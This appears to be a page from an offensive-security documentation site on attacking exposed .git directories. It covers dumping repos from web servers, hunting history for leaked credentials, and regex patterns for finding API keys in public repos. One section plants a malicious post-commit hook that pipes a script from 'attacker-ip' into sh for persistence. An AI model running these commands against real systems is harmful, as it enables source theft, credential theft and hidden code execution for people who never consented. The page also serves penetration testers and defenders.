> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Git Attacks

Git stores its entire history, every commit, every branch, every stash, inside the `.git` directory at a repo's root, and that directory frequently ends up exposed on a live web server, deployed alongside the application instead of excluded from it. Anyone who can reach `.git` over HTTP can rebuild the full source tree offline, including anything ever committed and later "removed," config files, old credentials, commented-out debug endpoints, all of it.

> **Dumping**
>
> Rebuilding a usable working copy of the repo from just the exposed `.git` directory, no web shell or further access needed.

> **Credential & Secret Hunting**
>
> Once dumped (or once you already have filesystem access to a repo during post-exploitation), mining its full history for anything a developer ever committed and later thought was gone.

***

## Detecting an Exposed `.git` Directory

```bash theme={null}
curl -s https://target/.git/HEAD
# a real repo returns something like: ref: refs/heads/main
```

Worth folding into a directory fuzzing pass (see [Directory & Subdomain Fuzzing](https://0-x.dev/directory-subdomain-fuzzing.md)) rather than checking one path at a time across many hosts:

```bash theme={null}
ffuf -u https://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200 -t 50 | grep -i git
```

> [!TIP]
>
> `/.git/config` and `/.git/index` are worth checking directly too even when `HEAD` 404s, some server configs block one path but not the others.

***

## Dumping the Repository

**GitTools (gitdumper.sh)**

[GitTools](https://github.com/internetwache/GitTools) is purpose-built for exactly this, `gitdumper.sh` pulls down every object it can reach without needing directory listing enabled.

```bash theme={null}
git clone https://github.com/internetwache/GitTools.git
./GitTools/Dumper/gitdumper.sh https://target/.git/ ./dumped-repo
```

**git-dumper.py**

[git-dumper](https://github.com/arthaud/git-dumper) does the same job in a single Python script, no separate extraction step needed afterward.

```bash theme={null}
pip3 install git-dumper
git-dumper https://target/.git/ ./dumped-repo
```

**wget mirror (directory listing enabled)**

If the server actually allows directory listing on `.git/`, a plain recursive mirror works with no special tooling at all.

```bash theme={null}
wget --mirror --no-host-directories --no-parent https://target/.git/
```

***

## Reconstructing & Reviewing

GitTools' dumper leaves raw objects behind, not a checked-out working copy, `extractor.sh` (also part of GitTools) rebuilds every commit it can find into browsable snapshots:

```bash theme={null}
./GitTools/Extractor/extractor.sh ./dumped-repo ./extracted-repo
```

If `git-dumper` was used instead, the dump is already a usable `.git` directory, standard git commands work directly against it:

```bash theme={null}
cd dumped-repo
git log --all --format='%aE%n%cE' | sort -fu # every email adress from commits 
git log --all --oneline              # every commit across every branch, including ones no longer on HEAD
git diff HEAD~1 HEAD                  # what changed in the most recent commit
git show <commit-hash>                # full diff for one specific commit
git stash list                        # stashed changes, easy to forget these exist at all
git log --diff-filter=D --summary     # files that were deleted at some point, often the most interesting ones
```

***

## Credential & Secret Extraction

### Stored Remote Credentials

```bash theme={null}
cat <path-to-repo>/.git/config
# a remote URL with embedded basic-auth credentials looks like:
# url = https://username:password@github.com/org/repo.git
```

```bash theme={null}
cat ~/.git-credentials     # if git's credential.helper store was used, plaintext creds for every remote ever authenticated to
```

### Searching the Full History

A secret removed in a later commit is not gone, it's still sitting in an earlier one, searching the entire history (not just the current files) is the whole point of doing this rather than just browsing the live site.

```bash theme={null}
git log -p | grep -i -E "password|secret|api[_-]?key|token" -A2 -B2
```

```bash theme={null}
# search every blob ever committed, not just ones reachable from current branches
git rev-list --all | xargs -I{} git grep -i "password" {}
```

> [!TIP]
>
> `git blame <file>` identifies exactly who introduced a given line and when, useful once a secret is found, for figuring out whether it's still valid or how long it's been exposed.

***

## Automated Secret Scanning

Manual `grep`-ing the log works but misses encoded/high-entropy secrets that don't match an obvious keyword. These tools scan the full commit history for anything that looks like a credential, regardless of what it's named.

[Truffelhog](https://github.com/trufflesecurity/trufflehog)

```bash theme={null}
trufflehog git file://./dumped-repo
```

[Gitleaks](https://github.com/gitleaks/gitleaks)

```bash theme={null}
gitleaks detect --source ./dumped-repo -v
```

> [!TIP]
>
> [git-secrets](https://github.com/awslabs/git-secrets) (AWS Labs) is the defensive counterpart, a pre-commit hook that blocks a secret from ever being committed in the first place, worth knowing about since its absence is exactly why the techniques above find anything at all.

***

## Malicious Git Hooks (Write Access)

`.git/hooks/` scripts (`post-commit`, `pre-push`, etc.) are never transmitted by `clone`, `pull`, or `push`, they're purely local. If write access to a shared repo's working directory is already in hand (a writable deployment path, a CI checkout, an NFS-mounted repo), planting a hook there executes code the next time anyone on that same checkout commits, pushes, or merges, a quiet, easy-to-overlook persistence mechanism.

```bash theme={null}
echo '#!/bin/sh curl -s http://attacker-ip/shell.sh | sh' > .git/hooks/post-commit
chmod +x .git/hooks/post-commit
```

***

## Searching Public Repos ([grep.app](http://grep.app))

[grep.app](https://grep.app/) regex searches the full text of every public repo on GitHub at once, useful for finding a target's secrets leaked in someone *else's* repo (a contractor's fork, a personal dotfiles repo, e.g) that enumeration would never surface directly.

```shellscript theme={null}
# AWS access key ID, scope further with grep.app's filename filter (.env, config.yml) once a hit confirms the pattern is live
AKIA[0-9A-Z]{16}
 
# exposed private key (RSA/OpenSSH/generic PEM), add a repo-name/org filter to narrow to a specific target
-----BEGIN (RSA |OPENSSH |EC |)PRIVATE KEY-----
 
# Slack API/bot token
xox[baprs]-[0-9a-zA-Z-]{10,48}
 
# Slack incoming webhook URL, usable directly without any other credential
hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+
 
# Google API key
AIza[0-9A-Za-z\-_]{35}
 
# GitHub personal access token (classic)
ghp_[0-9a-zA-Z]{36}
 
# GitHub fine-grained personal access token
github_pat_[0-9a-zA-Z_]{82}
 
# OpenAI API key
sk-[a-zA-Z0-9]{48}
 
# Stripe live secret key
sk_live_[0-9a-zA-Z]{24,}
 
# npm access token
npm_[0-9a-zA-Z]{36}
  
# generic Bearer token in a header or config
[Aa]uthorization.{0,20}[Bb]earer\s+[a-zA-Z0-9\-._~+/]{20,}
 
# JWT, flags hardcoded tokens rather than ones generated at runtime
eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+
 
# database connection string with embedded credentials (Mongo/Postgres/MySQL/Redis)
(mongodb|postgres(ql)?|mysql|redis)://[^:]+:[^@]+@
 
# generic hardcoded secret assignment, catches config/code regardless of language
(password|secret|api_key)\s*[:=]\s*["'][^"']{8,}["']
 
# target's own domain combined with a credential keyword, catches configs referencing their infrastructure uploaded by anyone, not just their own org
<target-domain>.*(password|secret|api_key)
```

***

## Quick Reference Tools

> **[GitTools](https://github.com/internetwache/GitTools)**
>
> Dump + extract an exposed `.git` directory into browsable commits.

> **[git-dumper](https://github.com/arthaud/git-dumper)**
>
> Single-script alternative, dumps straight into a usable `.git` directory.

> **[TruffleHog](https://github.com/trufflesecurity/trufflehog)**
>
> Automated secret scanning across full commit history, not just current files.

> **[Gitleaks](https://github.com/gitleaks/gitleaks)**
>
> Similar automated secret scanner, worth running alongside TruffleHog, each catches patterns the other misses.

> **[HackTricks: Git](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/git)**
>
> Additional tools (Git-Money, DVCS-Pillage, gitrob) and GitHub-wide secret hunting.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.